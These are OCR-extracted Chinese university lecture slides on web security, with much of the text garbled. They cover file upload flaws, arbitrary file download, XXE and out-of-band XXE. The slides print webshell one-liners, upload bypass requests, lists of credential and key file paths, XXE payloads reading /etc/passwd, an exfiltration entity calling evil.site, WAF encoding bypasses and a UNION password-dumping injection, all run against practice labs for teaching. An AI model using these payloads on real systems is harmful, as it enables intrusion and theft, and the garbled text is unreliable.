r"’ @ /\ k k '? 1IZIJLD We b?é

¥ RENMIN UNIVERSITY OF CHINA SCHOOL OF INFORMATION

0. REZImEEe 1 e A FRPE

RRAM: xS BIEUR
FZIEATE): EF16:00 - 17:30 (31=2406)
ISRFEETN . hitps://www.youwei.site/course/websecurity



https://www.youwei.site/course/websecurity

o

(=S =8 =

2. FENXMHTE

3. XXE (XMLAMEBSLAREN)

4. SSRF (ARSSSimEsubiERkibiE)



10.1 (E24 L1&EimiE

" X HEmiRR s TE REXN AP LS D R H A E B E AR TR

SR F A LABT HASHNR RS =8 LE AT HFITHIRIESH

" XE FENNEATLURARS, ws, SEHAEE WebShellF,
&" AEixBEE, SaENENELLER, RSsREALE. ##
RIRFRIVLIEZEHNAERE, WSSEEER.

RS
"MiFLE

ESVL Rl



| St ks

» KEB Db RESEA N LG8, AIANEEN, NERLE,
fife 15,

PISE = Hiuii,
if (1sset($ POST['submit'])) - {

if-(file_exists($UPLOAD ADDR))-{
if- (move uploaded file($ FILES['upload file']['tmp name'], - $UPLOAD ADDR-.-'/'-.-$ FILES['upload file'][‘name']]){

$img_path-=-$UPLOAD_ADDR-.-$_FILES['upload_file']['name’'];
$is_upload-=-true;

}
} else-{
$msg-=-$UPLOAD_ADDR- . - ' L AN(F1E, 15 F LAI&!
}
}
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highlight file(filename: __ FILE_);

1
2
3
4 @eval($ GET|['x"']);
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B —TEARLE, EIIFLSIRSSAZEIEENER, E—aEARS
HRIEESCIFEES

s —GEARS: <?php @eval($ POST[x]); ?>

® $_POST[x]: 3kEX POSTIERZSEHFXHIE. HIUIPOSTIERFPZiE
x=phpinfo();, B4 $ POSTXIFZREIFphpinfo();

" eval ) BFRFEIMPHPEERIT. U0 eval(phpinfo();'), EHA
phpinfo();&# X HPHPLIEEHTT.

" EREHIEER, S8 OWEE—1PHPRIAIUZAEI, ZFRIATUATEE
FERHAEIREEEH RS,
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= (i li@idiZzwebshell, {EiB(EEZPHP{LEE, 1LEHEHIT, MMM
IRENEEAREHIT.
= MphpAYshell_exec()REZERILAITshelliESHI, BRIZED,
MR I ENTHITIIK B ERTEERENIR, PRI iRS Y
shel EEEENR,

= LY 40 1€ % x=shell exec(ls /');, php FHITHIH Z <?php
@eval("shell exec('ls /');") 7>
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" WebdrE FHEI—E1EARSAT:
® PHP: <?php @eval($ POST[x]); ?>
® ASP: <%eval request("x")%>

B ASP.net: <% @ Page Language="Jscript"%> <%eval

(Request.ltem["x"],"unsafe"); %>

® JSP: <% Process process =

Runtime.getRuntime().exec(request.getParameter("cmd")); %>
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® Zimjavascripti@il: #E#l/upload-labs/Pass-01

= FRFjavascript¥itT i~ &SR RES

¥ {seript type="text/javascript”> = §0
function checkFile() {
var file = cocnment.getElementsByNamei'nploac_file'J:O:.valne:
if (file == null || file == "") {
alert ("IFIEFRE LA CIFL”)
return false;

FE SCAVF B4R 1) SR

var allow ext = ”. jpgl. pngl|. gif”;
PR AR SRRy Y

var ext_name = file. substring(file. lastIndex0f(”. ")) :
FIT LA S F R R R R B

if Lallom_ext.1“cexOfLext_:amel = -1) {

var errMsg
alert (errMsg) ;
return false;

</script>

= "G CAFATRTF FAE, 15 L1757 + allow ext + "M fE, i oiEmny.

+ ext_

name ;
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—————— WebEKitFormBoundaryxBS4DTbhx0u9NjXRI
Content-DNisposition: form-data:. name="upload_file”; filenamef”shell.php”

-1

—————— WebKitFormBoundaryZ4zDI11z 7VVEcCATx
Content—Disposition: form—data: name="upload file”:| filename="shell. jpg”

3 |Content-Type: application/x—php
Content-Type: image/jpeg 9
7t ) <?php
?ph .
beval (5 POSTL 5 1) 2> 1 Beval($_POST['x’1); 2>
—————— WebKi tFornBoundaryZ4zDT12TVVECCATx 2 ——~~WebKitFormBoundaryxBS4DTbx0u9NXRI
Content-Disposition: form—data; name="submit” 3 Content-Disposition: form—data; name="submit
4
i 5 Eff
—————— WebKi tFormBoundaryZ4zDI127VVECCATx—~ 5~~~ WebKitFormBoundaryxBS4DThx0u9NjXRI—
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Content-Length: 318
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s FFEETLUEES FILES[ name']['type' |&EE LIESHHIMIME
KA, HRXNHXLEERY i PR

e —————

“if dCc_Ficesr upload”flie ][ type'] ==-"image/jpeg') || ($_FILES['upload_file']['type'] == 'image/1ng') |
($_FILES['upload file']['type'] == 'image/gif')) {

i1f- (move_uploaded_file($_FILES['upload_file'][ "tmp_name®'], -$UPLOAD_ADDR-.-'/"'-.-$_FILES['upload_file']['name’])) -{
$img_path-=-$UPLOAD_ADDR-.-$_FILES['upload_file'][ ‘name’'];
$is_upload-=-true;

}
}-else-{
$msg = ' LHREREM, WEF L

}

alga-{
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—————— WebKitFormBoundaryxBS4DThxQu9NjXRI

Cantent-Nisnasition- form_data- 1 e:”up]_oa,difi]_e”; filename
Content-Type: application/x-php aT

<?php

@eval ($_POST['x"1); 2>
****** WebKitFormBoundaryxBS4DTbx0u9NjXRI
Content-Disposition: form-data; name="submit”

—————— WebKitFormBoundaryxBS4DThxQu9N jXRI-—
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“shell. php”

HAN5aT

—————— WebK1tFormBonndarvdJYFqHchkaUng
—data; name="upload file”; filename="shell.php”

Content-Type: 1mage/]peg

<?php

@eval ($_POST['x’1); 2
****** WebKitFormBoundarydJYFqHsNe QkmU3 gx
Content-Disposition: form—data: name="submit”

****** WebKitFormBoundarydJYFqHsNe QkmU3 gx—
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HI{[_-I:ZJ*& Offset -3 -2 3 4-3 & 7 8 9 A B CDEF
)Ll b4 00000000 FF D8 FF EO 00 10 4A 46 49 46 00 01 01 00 00 01 y@oya JFIF
falue = FF D8 FF E0 00 10 4A 46 49 46

= JPG: FF D8 FF EO 00 10 4A 46 49 46

» gif 43k

= GIF 47 49 46 38 39 61 (GIF8%)OODO 47 49 42 32 3; 6? 0: 0; 02 0; Dg Og OE Og OE Og GIF89a

Value = 47 49 46 38 3961

= PNG:89 50 4E 47

= pngX {4k

" offset 8 1 2 3 4 S 67 86 9 A B CDETF
00000000 B9 SO 4E 47 OD OA 1A OA 00 00 00 OD 49 48 44 S2 |IPNG

Value = 89 50 4E 47
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» SZ{HSLEGHIE: #EH1/upload-labs/Pass-13

" FFEEBIEEHRWSIIHORI LN (L) AN
{2

i

» function getReailFileType($filename){
$file-=-fopen($filename, - "rb");
$bin-=-fread($file,-2); -// HiE2FT
fclose($file);
$strinfo-=-@unpack("C2chars", -$bin);
$typeCode-=-intval($strInfo['charsl'].¢strInfo["'chars2']);
$fileType-=-"";

- switch($typeCode){

case 255216: 255.216 = Oxff.0xd8

$fileType-=-"jpg";

break;

1378e:
e e 137.80 = 0x89.0x50
break;
case-7173:
$fileType-=-"gif"'; —
break; /71.73 =0x47.0x49
default:
$fileType-=- "unknown';
}
g R = ol




A _EE iR EFISET
. SOSRERSe

" R ERARS, REEEE—IKE Rtestjpgfl—aiEARS 4
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" FFREAMERRIGIE DI FRRRE, FIREERRZRE, B
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$file_name-= tle($ FILES[ upload_file'][ 'name ])
$file_name-=-deldot($file_name);// M L4 & KR A &

$file_ext-=-strrchr($file_name,-'.");
$file_ext-=-str_ireplace('::$DATA', "', -$file ext);//Ji%%%?iTﬂW::$DATA

$flle:ext = strtolower($+11e ext) //?’ﬁﬁJJJ

$file_ext-=-trim($file_ ext) //ﬂifii =

if[lin_array($file_ext, - $deny_ext))}{
1t - (move_uploaded_t1ile($_FILES] 'upload_file']['tmp_name'], -$UPLOAD_ADDR.-"/'-.-$_|
$img_path-=-$UPLOAD_ADDR-."'/".-$_FILES[ 'upload_file']['name'];
$is_upload-=-true;

}
}-else-{

$msg-=-"' o iF L 15.asp, .aspx, .php, .jspfa B L ! ';
}
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evil.pHP, XN XHEEREEFEHITRY, #B#1/upload-labs/Pass-05
2. RBUIETE, ARERTE Tphp, SHIEHETLULE
evil.php5/phps/phtml/phtZ, #E#l/upload-labs/Pass-03

s 3. BRI F A eEMiirmIRRE, FFAE TR T php, WHED
LIESEE, Ei&evil.pphphp, #E#1/upload-labs/Pass-10
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s RGBSR RRBERERNSIT . EEil/upload-labs/Pass-03

B 4%/ 1dE.htaccessSd, 1z AphpAd— 1M &S, 7
FENZHGIBRIUN FERBapachefl EER.

htaccessXit—iERIRIIIE 5% ;%—15i;;'--";i;‘;jﬁfj_;:;:;;:if::.::i:__iiifj;i'z:ii?“
a. B ﬁﬁﬁ%—}:é”(l;lgﬁug|f)i—L’|1’Ephp%¢$ﬁ

b. BE—IFESUF 2 EphpfFifT
<FilesMatch “secjpg” >

.htaccess

imzE  SetHandler application/x-httpd-php
</FilesMatch>

sec.jpg BIEILAphpBIZASfi#tfT
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N EREB UL P XSRS ER, R FEfaEiE,
NEZTHIRE, HGERAHEIXEFSRFER, EFERA
Hig, SECEEN G HERIIRSSE L.

file.php[Z#8] file.php

file.php[.] file.php o FTAe SN EBRTLA

file.php[%8@- file.php BurpiliEl, FES4BLERERI%S80,

%99] CTRL+SHIFT+Ui#4TURL-DECODE, =&

;%DH&’E@EEEHEXFE)‘BWN'%EI%
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HExHE RSS2

- Hﬁ%%%S‘Z{q:TEEg % %E/‘Jg%ij : file.php%00zudsoi file.php

" 6. %O0EMT, WOOAREZE, ENULL, ==FF., YEFTEHEHS
B%00Z =R, %00GEAEIRESHELLE, BaiFk, MEaIREE
LMMERTT, EENFIEEEZE, XMSEiRRFENERRA.

AN EEh, FIFA%00ERT, TG EBRSUERT, B4

2RI, BERBXHRFEARIET, %0028 FE, R
RIF%00ZBIHINE.
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s BTG EERRE, G TFEREAMERFZS T, FEZEH
JFF B R EL S | A SUGR RB X G IR E IR0 S,

s FF #B#1/download.php, FILAERITREIELHE, REE(EH
filename&#y, BPRI FEXIMN S,

15 ifddsset($ GET[ filename 1) R& lempiy($ GET['filename'])) {

2z

16 $requestedFile = $ GET['filename'];

17 $filePath = $fileDirectory . $requestedFile;

18

19 /] WEXHREFEAE

20 if (file_exists(filename: $filePath) && is rea e(filename: $filePath)) {
21

22 // REX 46 B G 8F

23 echo htmlspecialchars(string: file get contents(filename: $filePath));
24 exit;

25 } else {

26 /] XERFEHA AR

27 httn resnonse code(resnonse code: 404):
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= A B EmAYfilenameZ A../index.php, BBE FEindex.php
RIS, 528, BAILARAEMERE FEEESUY

5% S i KA (B Jh B HB3k Cookie BRI
& localhost download.phg ?filename=../index.ph dacument  html 250 FTH M HTML

localhost  Favicon.ico FaviconLo... html =% 86... 1 &lt; ?php
highlight file( FILE );

4 @eval($ GET['x'1);

" EEAT, Zimin

15 RIS E BN/ flag
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= Windows&E %t :

s C:\boot.ini //EERFIRA

= C:\Windows\System32\inetsrv\MetaBase.xml //IISECE& {4+
= C:\Windows\repair\sam //fHERF VIR LI=RIZHS

® C:\Program Files\mysql\my.ini //Mysqlfic&

® C:\Program Files\mysqgl\data\mysgl\user.MYD //Mysql root
s C:\Windows\php.ini //phpBtE=E

= C:\Windows\my.ini //MysqlEt&E{5E
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= Linux/Unix&%t:

=  /root/.ssh/authorized keys //ANEEFBNTIZEEN, FEEZ|.sshBRT, FriEauthorized keysstft, Fi§id rsa.pubRBESHHE
= /root/.ssh/id_rsa //sshFA$E,ssh/A$H2id rsa.pub

= /root/.ssh/id ras.keystore //iCREMARITENAFAHE

= /root/.ssh/known_hosts //ssh&iBEMEIEIGITENBILHE(public key)&EERAE~/.ssh/known_hosts, X TRIGIEHEELTEAT,
OpenSSHEZITANH. WERNHARE, OpenSSHEKHEL, BRIFZEIDNS HijackZ ZEAIIKE,

= /etc/passwd // IKFER

= /etc/shadow // IKFZRSILIF

= /Jetc/my.cnf //mysql BCESEF

= /etc/httpd/conf/httpd.conf // ApacheER& {4
= /root/.bash_history /B HREGSIERIG

= /root/.mysql_history //mysqlFSEan<SiERIF
= /proc/self/fd/fd[0-9]* SUHHFIRFT)

= /proc/mounts //ICREFHERILE

= /porc/config.gz //RIECE ST

= /var/lib/mlocate/mlocate.db //&3{4E&1Z

= /porc/self/cmdline //ZHBIAFEAIcmdlineS £
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" SFIPERIS RS RIHT ORISR, R A .

" SFIFERIS IR TEREITE, SRR,

" SRR PERIT S BRI T ENFAT IR, MRS R A —
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" APPSR REREITRERS, PIENGEE BEIEE RIS
BRI LZEINE,




10.3 XXE

= XXE(XML External Entity Injection)2FRAXMLIMNESIASEN,,
BT REREFETEABNXMLEGRER, 7 7 IGEE (RERII MRS
R ER. FRIPHPHEIsimplexml loadZRINIE R FSEEHTIH
ZBLR, BXXERERIREMERZIsimplexml_load_string().

<?xml wversion="1"%?>

<!DOCTYPE stockCheck [ <!ENTITY
xxe SYSTEM "file:///etc/passwd"> ]>

<stockCheck Hproductldm
</productIds></=stockCheck

root:x:0:0:root: froot: /bin/bash
daemon:x:1:1:daemon: fusr/sbin: /bin/sh
bin:x:2:2:bin:/bin: /bin/sh
sys:x:3:3:5y5:/dev:/bin/sh
sync:x:4:65534:sync: /bin: /bin/sync
games:x:5:60:games: fusr/games: /bin/sh
man:x:6:12:man: /var/cache/man: /bin/sh
lp:x:?:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail: /var/mail: /bin/=sh
news:x:9:9:new5:/var/spool/news:/bin[sh
ir- uucp:x:lO:10:uuap:/var/spool/uuap:/bin/sh
(* sensitive data) proxy:x:13:13:proxy:/bin: /bin/sh

|\ www-data:x:33:33:www-data: /var/www: /bin/sh
EM backup:x:34:34:backup: /var/backups: /bin/sh




| XML

" BATESQLEANRRIEEANFHIREIExmI, XML i§0]Y BiRciES
(EXtensible Markup Language)

" XML E—FRCIES, REU HTML, BRIRITRE2EMEEE, MIER

TNEE

= ZLUSON, XMLBER—M&dEtszl, RTEa. FEbikEmEaR

" thfnJohn 525 George RYEE, ZFiE/IxmldlT:

= <note><to>George</to><from>John</from><heading>Reminder

</heading><body>Don't forget the meeting!</body> </note>

» Ed EEAIGT, BOTTLURIE, XMLEGERmIAE, BRIy ERF
BEMARE, THESIUHTMLUERIRETIE M ARG,



| DD

n RYEAIFEN (DTD, document type definition) BIEN&iEHY
XML EHEER, BiER—RIIEIEANITE=RE X R4S,

= DTD oJ#p{THEAREETF XML X, Bal{ER— 1M MNERE | .
= JZRRY DOCTYPE &BA: <!DOCTYPE Rt [FT=EHA]>
= X MlFEBEIRITER Inote

<!DOCTYPE note [

. < ELEMENT (to,from,heading,body) >
= note NAto,from,heading,body CLELEMENT (#PCDATA) >
< |ELEMENT (#PCDATA) >
AN < |ELEMENT (#PCDATA) >
P;EI " T9 < | ELEMENT (#PCDATA) >

1>

= to/from/heading/body FEZPEETE <note>

<to>George</to>

<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>

</note>




DTD

s HNERSCAYASEE, {Ba0 DTD i XML JESUFAIINER, BRABN
B FEANE AT EE— DOCTYPE X H:

® <IDOCTYPE #RJTZE SYSTEM "XHR">, 1Z 342 H9MER
dtd3Z{4

<?xml version="1.8"?>

<!DOCTYPE note SYSTEM "note.dtd"> : .
: S < | ELEMENT (to,from,heading,body)>

<note> : '
foLE < | ELEMENT (#PCDATA) >

<{to>George</to>

<! ELEMENT (#PCDATA)>
<!ELEMENT (#PCDATA)>
<! ELEMENT (#PCDATA)>

<from>John</from>

<heading>Reminder</heading>
<body>Don't forget the meeting!</body>

</note>

note.xml note.dtd



DTD

s DTDEL{AK

« DIDSAR AT E Y 3| B AR SR TR, AL
PIRRFSBRE MRS | FE,

= DTDSTfA—HES

o PUEBSCHR: <IENTITY STUAGER "SCOM(E" >

m HNERSCR: <IENTITY LR #FR SYSTEM "URI" >

= SEELR: <!IENTITY % SEURZFR "SEURHYE" >Ee& <!ENTITY % LR

2ZFR SYSTEM "URI">

= 4B SEELIMYAET AR, AEERTmIERD, ExmisRERENX

AUSCiR, EELAZTREIEINS, fEdtdH{NEeERSEEnR, R, &
TESLURZFREIIA%



<?xml version="1.8"?>

<!DOCTYPE test [ Ijg
<!ENTITY writer "Bill Gates">

Dkt

BELAR

<IENTITY copyright "Copyright W3School.com.cn">

<test>&writer;&copyright;</test>

<?xml version="1.0"2?>

<IDOCTYPE test [ QI\I::?B;E{Z'X

<IENTITY writer SYSTEM "http: 13school.com.cn/dtd/entities.dtd">

<IENTITY copyright SYSTEM "http school.com.cn/dtd/entities.dtd">
1>

<author>&writer;&copyright;</author>

<?xml version="1.0"?>

<IDOCTYPE a [ SHELIR, XBER T =l
<IENTITY % name SYSTEM "file:///etc/passwd"> (B E Nfile:///etc/passwd
%name; EEEINAE

1>



/etc/passwd

XXE

" BA1ZRIREl, XXERXMLIMEBEAREN,

SEZRRRE

BaimElxmIE NG, R ERAIXmIEXEE, EREEE
JoxmISAfET, 1X{EE R PRI LAEERAIXmIF N IMEBSLR,
MIMENREFHER (ECaNRIEiHZIRYfile:///etc/passwd)

1 libxml_disable_e
2 $xmlfile-=-file_|

$dom-w.oadXM
$creds-=-sim

$username-=
$password-=

XXE-Lab for PHP

PO W0 N Oy

L

) Y
3 - :
i

>

)

TIPS:

@ 123

I
3
)
)
L
2
3
1

LOGIN

ntity_loader(false);
get_contents('php://input');

3 -
4+ try{
$dom-=-new-Di ument();

L($xmlfile, - LIBXML_NOENT- | - LIBXML_DTDLOAD);
plexml_import_dom($dom);

$creds->username;
$creds- >password

| POST /php_xxe/doLogin. php HTTP/1.1

Host: www. liuboyu. site

Content-Length: 63

Accept: application/xml, text/xml, */*; ¢=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(EHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36

§4}f, Raw Hex TAELEZY
HTI'P/I 1 200 OK

Date: Tue, 07 May 2024 02:14:43 GMT
Server: Apache

Upgrade: h2

Connection: Upgrade, close

Vary: Accept-Encoding
Content-Length: 45

PRI S

7 Content-Type: application/xml;charset=UTF-8 3 Content-Type: text/html; charset=utf-8
Origin: http://www.liuboyu. site o)
Referer: http://www. liuboyu. site/php_xxe/ 10 <result>
Accept-Encoding: gzip, deflate, br {code>
Accept-Language: zh—CN, zh;q=0.9 0
> Connection: close {/code>
<msg>
<user> 123
Cusername> | {/msg>
123 {/result>
{/username>
<{password>
456
{/password>
{/user>



| XXE

= 518 #EHl/xxe-lab, FEEBA—IMKSERHI=EHRL,

Ay LA

BRERLmIEZ &, A ERELERE

ES4

POST /php_xxe/doLogin. php HTTP/1.1

Host: www. liubovu. site

Content-Length: 63

Accept: application/xml, text/xml, 3/*; g=0.01

X-Requested-With: XMLHttpRequest

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36

Raw Hex

QR E W

o A e LN T

=¥ Raw Hex REEH

| HTTP/1.1 200 OK

2 Date: Tue, 07 May 2024 02:14:43 GMT
3 Server: Apache

4 Upgrade: h2

5 Connection: Upgrade, close

¢ Vary: Accept-Encoding

i

Content-Length: 45

’ Content-Type: application/xml;charset=UTF-8 3 Content-Type: text/html; charset=utf-8
y Origin: http://www. liuboyu. site 9
) Referer: http://www.liuboyu. site/php xxe/ 10 <result>
) Accept-Encoding: gzip, deflate, br {code>
. Accept-Language: zh-CN, zh:g=0.9 0
> Connection: close </code>
3 {msg>
i {<user> w123
{username> | </msg>
123 {/result>
</username>
{password>
) 456
{/password>
</user>




XXE

= HARAFERusernamefYBEZ—IMEBSEVREPA], IXAMINED
AR LUEENAR G RRIERSUS, Bean/flag

POST /php_xxe/doLogin. php HTTP/1.1

Host: www. liuboyu. site

Content-Length: 192

Accept: application/xml, text/xml, #*/#*; g=0.01

¥-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(EHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36

HTTP/1.1 200 OK

Date: Tue, 07 May 2024 02:42:28 GMT
Server: Apache

Upgrade: h2

Connection: Upgrade, close

Vary: Accept-Encoding
Content-Length: 63

=1 G Ul W= W D

Content—Type: application/xml;charset=UTF-8 3 Content-Type: text/html; charset=utf-8
Origin: http://www. liuboyu. site o
Referer: http://www. liubovu. site/php_xxe/ 10 <result>
Accept-Encoding: gzip, deflate, br <{code>
Accept-Language: zh—CN, zh;gq=0.9 0
Connection: close </code>
<msg>
<?xml version="1.0" encoding="UTF-8"7> flag{oh this_is_flag}

<IDOCTYPE a [ //]Jlsg>
CIENTITY test SYSTEM|“file:///www/wwwroot/www. liuboyvu. site/flag” {fresult>
] ) /
{user> — //

&test; -
Sername
<{password>
456
</password>
{/user>




XXE

= BETRRY, WNR{RAEIEE php3tid, {FEHfiletidES
EAphpXHEE <> 7EFFRF
LAERphpidfiltertii L Abase64

= Raw

POST /php_xxe/doLogin.php HTTP/1.1

Host: www. liubovu. site

Content-Length: 238

Accept: application/xml, text/xml, #/*: g=0.01
X-Requested-With: XMLHttpRequest

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(EHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Content—Type: application/xml;charset=UTF-8

Origin: http://www.liuboyu. site

Referer: http://www.liubovu. site/php xxe/
Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN, zh:q=0.9

Connection: close

<?xml version="1.0" encoding="UTF-8"2>

{IDOCTYPE a [
IENTITY tact SYSTEL

7, SE5ExmIENTEIR,

AU~ B =

=1 O Ul = W~

—
o o

<

“PHP://filter/read=convert. base64-encode/resource=/www/wwwroot/www. 1iub

ovu. site/user. php”>
ul

{user>
{username>
&test;
</username>
<{password>
456
</password>
{/user>

[B)RRAY,

PfrLAR]

RIS TVERphp X FRE

=+

X MEE4 [ It
HTTP/1.1 200 OK

Date: Tue, 07 May 2024 02:46:44 GMT

Server: Apache

Upgrade: h2

Connection: Upgrade, close

Vary: Accept-Encoding

Content-Length: 238

Content—Type: text/html; charset=utf-8

<{result>
<{code>
0
</code>
{msg>
PD9waHAK JGNhbGx1iYWNr IDOgaHRt bHNwZWNpYWx jaGFyve ygkX1 JFUVVFU1RbJ2NhbGx1iY
WNr J10pOwokZGFOYSA9ICT7J3V2ZXIn0idhZG1pbicsICAdtYWlsJzonYWRtaWsAcnV jLn
VkdSd9T jsKZWNobyvAkY2FshGThY2sgLiAiKCIgLiAkZGFOYSAuICIpI js=
</msg>
</result>



XXE OOB

SHNEAE (out—of—band data), BRIEFRANNEREE, S
1Z BB TC R L M E BRI N E

» NERNE EXMEHRNEESERE, ATLUBEIxxe oobiEiREES
M ERXEIEHCHEERSSSE L

¥,

BtniRSS =8

IE= BT

=11+

xxe oob
2 RAEBE@EAMIELR P

™
>

o 2. R F BT xml BB, £ 5 foobH
IR FEEmBABLE RSB mrss B, ik Lo B EEMRE

3REBE@A P ik L RIE C
’é‘ xml 24 4B 45 AR

FRFEEEs




| XXE OOB

" HINIREERIEN EERRE D, FIAIMBLIRRRIURLA HIEIA], M
IRINEARNIRS SRR ERR. BELER FARELIEN 5 ASEEEIR, Al
B LRSS AT ER RN ERINEER, TeRER—IELINARSEEL
K.

" ATHEEXA, JLSREMEED (EERERExmI) |, SIASHERESLAT
FEINERERE, BT LSRRGS 5 _ ERVevil xmlExE R ERHEE

<?xml version="1.0"?> HERITES Xxm
<IDOCTYPE ANY] /

<IENTITY % file SYSTEM "file:///C:/1.txt">

<IENTITY % remote SYSTEM "http://evil.site/evil.xml|"> ovil x|

%remote;%all;
<root>&send;</root> <IENTITY % all

"<IENTITY send SYSTEM 'http://evil.site/1.php?file=%file;">"
>



| XXE OOB

" SC{Kremote, all, sendBYS|AIRFEEE, Bicxdremotes|FHEMN
2R evil xmIS | NRIfRFE LT, REHRITY%all, XET=ial
ZsendsLiR, fErootTisa5|Asend, FATLARRINSCIIEUEE &, Hi5
KkRELNG, WEEIRS S EHEEEER txtHFIAE.

<?xml version="1.0"?>
<IDOCTYPE ANY|
<IENTITY % file SYSTEM "file:///C:/1.txt">

<IENTITY % rerﬁote SYSTEM "http: //ewl S|te/ewl xml >
%remote;%atl:

1> : .
<root>&send;<j/root>

: 3 ,ﬁa X file '.'ll. ha 3K evilxml X 4%
2 patiall 2

’
~ . ’
- ‘,
s
=~

<IENTITY % a||"

"<IENTITY send SYSTEM 'http://evil.site/1. php?flle—%ﬂle >
>



XXEBGEiA0Eed

" FARAFLSIAEPRINE TS, Xie: <!DOCTYPER<!ENTITY,
=&, SYSTEMAFOPUBLIC,

» BLAERfmABHY D VST

B Base64: <!DOCTYPE test [ <!ENTITY % init SYSTEM
"data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

m utf-7: <Ixml version="1.0" encoding="UTF-7"?-->+ADw-+ACE-
DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-
SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-
stockCheck+AD4-+ADw-productld+AD4-+ACY-example+ADs-+ADw-
/productlid+AD4-+ADw-storeld+AD4-1+ADw-/storeld+AD4-+ADw-
[stockCheck+AD4-



| xxepsiERnges

" GRS
" BESEAER— NSO R, TS WAF, EEALERAY
R SR

® echo -n "'<?xml version="1.0" encoding="UTF-16BE"?>" >

payload.xml

® echo '<a>1337</a>"|iconv -f UTF-8 -t UTF-16BE > payload.xml

" ERIXIEESR, payload xmISHRIFFLERRYZUt!-84%15, BE2EikE!
—FRIRBAXS T, TERBXINIEIE

s TExmIfiEtfTEsESk, BIEE T RIEutf-8mBRISUE =S, RINEEEER
M gmigautf-169m18, RUYIREutf-169mDAr S iE T,



| XXEpsfERNSES

utf-8 X 4 K

utf- 16 X1 A B

[' uth— & XA I |
-<:-—----rzEEzkyééﬁfézn+aé&)n:---w~~-—~<§
| uif- 16 XA 7 B /
L 1

N e e e o o o i B ] - T—, ST - -, - T T, - - s 27 s s s e s
<4 zers s - J

xmlBE 37 & (utf-8)

mg\)
xml B3 7 8 (utf-16)

NG L L L Ll Ll LLLLLLLLLLLL L L, >




XXERYZZ KB 1ED
s A AESEENEZERIMNBGE, EIRSImIIA
libxml_disable_entity_loader (true);

FUBESERRSNERSEIR, fEfSxxelimiRIRE (JMEBSEINEN) BEIE
R




XML+SQLEAN
" FESCORPIYRAD

——

= EFHIXMLIAR, MYAERSERFENEAIDTD/XMUE TR (4%
MtV AraR161H] + UTF-8/22() |, 1XZIWAF bypassHIZIER !

= ZEXXE, EXMLEARFFEREEGRISQLEN)RTEIER.

1 <? version="1.0" ?>
2 =<l message [
: <! % xml "




| XML+SQLiE

® [ab: SQL injection with filter bypass via XML encoding |
Web Security Academy (portswigger.net)

" fEERTE— 1 "mm, midicheckstock

You can imagine these bags are a firm favorite with weak tea drinkers, for those
at the top. Just empty out the leaves, let them infuse and then decant back into
rest, this is an environmentally, and economically sound purchase not to be mis

Raw Hex Snipped Request 1S3 n = =t Raw Hex TURLES

N2 S > Z\ A3 T Tost: 0810004035 7bd518577ccdB00ac001 T web-security-academy. net HITP/2 200 OK
. — E I \ N Xm 3 Cookie: session=BSTIKIfmJkOKIOPQq1t0THmoewlQ00tL > Content-Type: text/plain: charset-utf-§
’ 1 Content-Length: 107 i X-Frame Options: SAMEORIGIN
— 5 SeeCh-Ta: “Chrominm”;v="123", "Not:A-Brand”;v="8"

o L Content Length: 9

6 See~Ch-Ua-Platform: "Windows
7 Sec—Ch-Ua-Hobile: 70 6 824 units
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/337.36
(EHTUL, like Gecko) Chrome/123.0.6312.122 Safari/337.36
Content-Type: application/zml
10 Accepl: #/%
11 Origin: https://0a8100e40357bd518577ccd300ae0011. web-security-acadeny Ao
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mede: cors
14 Sec-Fetch-Dest: empty
15 Referer:

https://0a8100e40357bd51857 Tecd300ae001f. weh-security-acad,

Pproduct1d=3
16 Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN, zh:q=0.9
18 Priority: u=1, i

G e Lo b

)

v. net /product

o <7l version="1.0" encoding="UTF-8"7>
<stockCheck>
<productTd>
3

</productLd>
dstoreld>

</storeld>
</stockCheck>



https://portswigger.net/web-security/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding

" fEstoreidbfFESQLIEN, (EEMALESEHIpayload=# WAF
=8

| XML+SQLEA

=, Raw Hex Snipped Request _ n = =t Raw Hex nEER

2 Hostf 0&8100?40357?d518577ccd300a6001f.web*security*academy.net 1 HTTP/2 403 Forbidden

3 Cookie: session=8STTk9fmJkOkUOPQqlt0INmoewlQQOt1 5 Content-Type: application/json: charset=utf-8
4 Content-Lemgth: 159~ o 3 X-Frame-Options: SAMEORIGIN

5 Sec—Ch-Ua: Chromlum”;v= 123”, Not :A-Brand”;v="8 4 Content-Length: 17

5 Sec—Ch-Ua-Platform: “Windows 5

7 Sec—Ch-Ua-Mobile: <0 6 “Attack detected”

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

(KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
9 Content-Type: application/xml
10 Accept: */*
11 Origin: https://0a8100e40357hd518577ccd300ae001f. web—security—academy. net
12 Sec—Fetch-Site: same-origin
13 Sec—Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer:

https://0a8100e40357hd518577ccd300ae001f. web-securitv-academy. net/product

?productId=3
16 Accept-Encoding: gzip, deflate, br
17 Accept-Language: zh-CN, zh;q=0.9
18 Priority: u=l, 1
19
20 <?zml version="1.0" encoding="UTF-8"?>

<{stockCheck>
{productId>
3

L PP o |

T PertrreTtrer

{storeld>
1 UNION SELECT username || ’:’ || password FROM users
{/storeld>
{/stockCheck>




XML+SQLEAN

